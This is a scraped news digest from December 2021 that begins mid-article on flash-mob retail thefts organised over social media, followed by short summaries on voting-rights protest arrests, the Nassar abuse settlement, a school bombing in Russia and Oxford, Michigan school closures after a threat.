"This isn't 'The Godfather' by any stretch," said Steve Wagstaffe, the San Mateo County, California, district attorney who is part of a newly formed alliance of Bay Area prosecutors tackling [organized retail theft](#). "It's the modern version of 'Hey, there's a party tonight' and suddenly you have 100 kids showing up."

Rachel Racusen, a spokeswoman for [Snap](#) Inc., said the company has looked into the issue and hasn't found evidence of such activity on its app. She said that promoting harm of property on Snapchat would be a violation of its policies and terms of service.

Three of the estimated 90 people who overran a [Nordstrom](#) Inc. store in the wealthy Bay Area suburb of Walnut Creek, Calif., on Nov. 20 have been arrested, according to Walnut Creek police. The thieves stole more than \$100,000 of merchandise in one minute before escaping in 25 separate cars that had their license plates removed or covered, prosecutors said.

In San Francisco, five people were arrested in connection with the Nov. 19 smash-and-grab burglary by 20 to 40 people at a [Louis Vuitton](#) store, according to San Francisco prosecutors.

Police in the Minneapolis suburbs, where a large group of thieves hit three separate [Best Buy](#) Co. stores on Nov. 26, have identified some suspects but made no arrests, said Lt. Joe Steiner of the Maplewood Police Department.

All the incidents were organized on social media, according to local law enforcement.

Law-enforcement officials say loosely organized groups known as flash mobs come together to commit the thefts after someone posts a target and a time on social media.

The officials declined to provide details on how they believe people are finding the posts, which might be in private social-media groups.

Similar crimes also occurred at stores in Los Angeles, Chicago and other parts of the Bay Area. Los Angeles police, who have made several arrests, declined to comment on how the thefts were organized.

The incidents come as social-media companies are facing multiple regulatory investigations, as well as congressional hearings, related to potentially harmful and illegal activity taking place on their platforms.

The law-enforcement official who said Snapchat is being used said some suspects might like the app's feature in which messages disappear. Other social-media apps feature encryption, the person said.

Investigators say they believe the recent string of thefts in the Bay Area were timed around the verdict in the trial of Kyle Rittenhouse, a teenager who was acquitted on Nov. 19 of charges in the killing of two people during unrest in Kenosha, Wis., last year. They theorize that robbers planned the thefts at that time because police would be distracted by preparations for possible protests over the verdict.

In response to these incidents, police have stepped up patrols in retail corridors across the U.S. Retailers in San Francisco's Union Square, a shopping and tourist destination, have boarded up their glass windows.

Maplewood police Lt. Steiner said his department monitors social media for this type of criminal activity. Other departments declined to comment.

The three suspects arrested in the Walnut Creek Nordstrom's case have been charged with several crimes, including second-degree robbery and organized retail theft. They haven't entered pleas, and a spokesman for the Contra Costa County public defender's office said that none of them have been assigned attorneys.

Five suspects in San Francisco's Louis Vuitton case have been charged with multiple felonies, including looting during a state of emergency and grand theft.

Richard Shikman, an attorney for one of the suspects, 28-year-old Kimberly Cherry, declined to comment on the specific charges. He said he doesn't believe the 20 to 40 people were part of a tightknit group. "This isn't like an organized thing where everyone knows each other," he said.

He said he didn't know about the use of social media to plan the robberies.

All five have entered not-guilty pleas.

Property crimes including theft are starting to rise in some major cities such as San Francisco and Los Angeles after falling during the first year of the Covid-19 pandemic. In San Francisco, property crime is up 10% this year through the first week of December from the same period last year, but down 15% from 2019.

Bay Area law-enforcement officials say they first saw the unusual phenomenon of mass thefts and robberies last year during protests over the murder of George Floyd by a Minneapolis police officer. In one example, more than 70 new cars were stolen from a Dodge dealership in San Leandro, Calif., on the night of May 31, 2020.

Similar crimes occurred on Nov. 3, 2020, the night of the presidential election, when several marijuana businesses were overrun by large groups of armed robbers in Oakland.

The officials said they don't know whether those incidents were organized on social media.

Police agencies around the Bay Area banded together, and promised to share information on such crimes after the election-night robberies. Under the new information-sharing arrangement, Walnut Creek police received an alert on the evening of Nov. 20, 2021, about the potential for an organized retail theft in the area, local police officials said at a city-council meeting last week. There were no details about the location or the target. Within minutes, the Nordstrom had been overrun.

[Return to Top](#)

HEADLINE	12/13 Protesting voting rights activists arrested
SOURCE	https://www.theguardian.com/us-news/2021/dec/13/voting-rights-activists-arrested-biden-manchin
GIST	<p>During a crucial week for Joe Biden's agenda that will likely feature a political showdown on his Build Back Better legislation in the Senate, voting rights activists are turning up the pressure in Washington.</p> <p>As the US president met with a key centrist Democrat who has acted as a roadblock to his plans – West Virginia Senator Joe Manchin - more than sixty demonstrators were arrested as they protested: singing songs and blocking traffic near the US Capitol.</p> <p>The diverse group of activists came to Washington from around the country and were focused primarily on issues around voting rights and poverty. When the focus turned to voting rights, the talk became more focused on Manchin and the White House's apparent inability to apply all of its power to pass federal legislation to protect the vote.</p> <p>"I think we're moving the ball but we have to get it across the finish line – we're going to have to keep pushing. They don't need to be going home for Christmas. We need to get voting rights taken care of," said Melanie Campbell, president of the National Coalition on Black Civic Participation, as she waited to speak to the assembled crowd of more than 500 people.</p> <p>As news spread that Manchin was signaling he wants more changes to Biden's already stripped back Build Back Better legislation because of his concerns over inflation, activists at the rally were not impressed.</p>

“That’s his whole game. Slow it down, block it, get things get done for the billionaires, his corporate donors – then to undermine voting rights let all the voting suppression bills get passed that wouldn’t get passed if we had the Voting Rights Act restored and we had federal protection,” said the Rev William Barber, president of Repairers of the Breach.

“He’s a trickster. The president needs to go to West Virginia. Stop meeting with him in his office. Go to his state,” Barber added shortly before leading activists into a street protest.

With talk of direct actions and in-office protests directed at Manchin and others, Barber and other activists promised to apply more pressure on lawmakers this week.

Barber and several other voting rights activists have been frustrated by what they view as a lack of focus and from the Biden administration regarding voting rights.

Many have warned the White House that Biden’s 7m vote victory, buttressed by strong turnout in predominately Black cities such as Atlanta, Detroit, Philadelphia and Milwaukee, will be difficult to repeat without cementing the support of those same voters.

With 2022 midterm elections on the horizon, the urgency about which agenda items Biden will focus is a hot topic in the activists community.

“We go to the streets for non-violent direct action. This is just the precursor,” Barber told the crowd of activists.

“If you think this is an action, you watch how we mobilize when we don’t have to be so Covid safe,” said Barber.

“There is only one answer to nineteen states that have passed voter suppression laws. There’s only one answer to all this election subversion. There’s only one answer to all this work that they’re doing to purge people from election boards. There’s only one answer to gerrymandering. That is, ‘Pass the acts now!’” said Barbara Arwine, who leads the Transformative Justice Coalition to the crowd.

Arwine was referring to the John Lewis Voting Rights Advancement Act. The bill would restore provisions in the Voting Rights Act of 1965 that were removed by the supreme court’s Shelby v Holder decision in 2013.

[Return to Top](#)

HEADLINE	12/13 Nassar abuse survivors \$380M settlement
SOURCE	https://www.nytimes.com/2021/12/13/sports/olympics/nassar-abuse-gymnasts-settlement.html
GIST	<p>Hundreds of female gymnasts who were sexually abused by Lawrence G. Nassar, the former team doctor of the national gymnastics team, have agreed to a \$380 million settlement with U.S.A. Gymnastics and the United States Olympic & Paralympic Committee, ending the latest dark chapter in one of the biggest molestation cases in sports history.</p> <p>The settlement, announced on Monday during U.S.A. Gymnastics’ bankruptcy proceedings in U.S. Bankruptcy Court for the Southern District of Indiana, is among the largest ever for a sexual abuse case. The funds would compensate more than 500 gymnasts — including Olympic gold medalists like Simone Biles, McKayla Maroney and Aly Raisman — who were abused by Nassar or someone else in the sport.</p> <p>“No amount of money will ever repair the damage that has been done and what these women have been through,” said Rachael Denhollander, a Nassar survivor and member of a survivors’ committee involved in the settlement negotiations. “But at some point, the negotiations have to end because these women need help — and they need it right now.”</p> <p>Many Nassar survivors have been in mediation with the gymnastics federation for years and have been waiting for compensation to help pay for costly mental health treatment, Denhollander said. Gymnasts</p>

	<p>have battled anxiety, depression and post-traumatic stress disorder, and some girls and women have attempted suicide because of Nassar's abuse, which he perpetrated under the guise of medical treatment.</p> <p>Insurers of U.S.A. Gymnastics and the U.S.O.P.C. would pay the bulk of the \$380 million settlement, but the U.S.O.P.C. also agreed to pay \$34 million of its own money and will give U.S.A. Gymnastics a loan of about \$6 million. That contribution represents a stunning turnaround for the organization, which had long argued that it shouldn't be held responsible for Nassar's crimes or be named in Nassar-related abuse lawsuits mainly because the doctor wasn't an Olympic committee employee.</p> <p>Under the weight of those lawsuits, U.S.A. Gymnastics filed for bankruptcy protection in late 2018, the same year Nassar was sentenced to what amounted to life in prison. The announced settlement now will help the federation emerge from bankruptcy and try to right itself after years of uncertainty. It will end the avalanche of lawsuits and keep the U.S.O.P.C. from decertifying it as an Olympic organization.</p> <p>The Nassar case's legacy, though, will remain: It forced a spotlight on the vulnerability of young athletes in gymnastics and other sports, revealing how organizations like U.S.A. Gymnastics failed to protect its athletes and appeared to prize medals over athlete safety. There have been numerous Congressional hearings about the issue, and a law protecting Olympic athletes has been strengthened. The matter also revealed the F.B.I.'s role in allowing Nassar to abuse patients even after that law enforcement agency received reports of his abuse.</p> <p>Biles, Maroney, Raisman and the former national team member Maggie Nichols testified to Congress in September about Nassar and how they feel the F.B.I. turned a blind eye to his abuse. An inspector general's report from the Justice Department in July detailed the F.B.I.'s many missteps in the case, which has lingered over the sport since 2016, when Denhollander became the first Nassar survivor to publicly accuse him of abuse.</p>
	Return to Top

HEADLINE	12/13 Russian teen detonates bomb in school
SOURCE	https://abcnews.go.com/International/wireStory/russian-teenager-detonates-bomb-orthodox-school-81718329
GIST	<p>MOSCOW -- A homemade bomb detonated in a school attached to an Orthodox convent has wounded 12 people, including a 15-year-old, Russian authorities were reported as saying Monday.</p> <p>They said the suspected bomber was an 18-year-old former student of the school. The man survived and is currently in intensive care.</p> <p>The explosion occurred in the Vladychny convent in Serpukhov, 105 kilometers outside of Moscow, the Russian Interior Ministry said.</p> <p>Media reports suggest that the teenager may have been motivated by hatred of the teachers and nuns.</p> <p>Staff and students have been evacuated from the scene. Russia's Investigative Committee has opened an investigation.</p> <p>Patriarch Kirill, the head of the Russian Orthodox Church, urged support for the victims of the explosion and expressed hope that the authorities would do everything necessary to prevent such an incident occurring again in the future.</p>
	Return to Top

HEADLINE	12/13 Oxford schools shut down amid threat
SOURCE	https://www.freep.com/story/news/education/2021/12/13/oxford-schools-close-tuesday-threat/6503592001/
GIST	Oxford Community Schools will close all buildings Tuesday after a threat was made against the middle school, officials announced Tuesday evening.

Return to Top	<p>"Today, December 13, we received an image from social media that included a specific threat directed at our middle school," school officials said in a post on the district website. "We immediately notified law enforcement, who are investigating. Out of an abundance of caution, we are cancelling school in all our buildings on Tuesday, Dec. 14. We plan to do a full security check of all our buildings while our security experts and law enforcement conduct their investigation.</p> <p>"We apologize for this inconvenience and ask for your continued patience and understanding during this challenging time. Please talk to your students and remind them that all threats at Oxford Community Schools will be taken seriously, investigated by law enforcement, and will be prosecuted to the full extent of the law. Threats can be reported anonymously to the State of Michigan's Okay2Say tip line at 8-555-OK2SAY or OKAY2SAY@mi.gov."</p> <p>School officials said a planned pickup of backpacks left behind at the high school would continue Tuesday. That school has been closed since Nov. 30, when students, faculty and staff fled amid shootings that killed four students and wounded seven other people, including a teacher. School officials said the pickups would continue because students weren't going into the school.</p> <p>Following the Oxford shooting, there have been a flurry of threats made on social media to schools all over Michigan.</p> <p>Last week, Wayne County Prosecutor Kym Worthy announced she has issued charges against 23 youths for making threats of violence, with another 10 under investigation.</p>
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[Return to Top](#)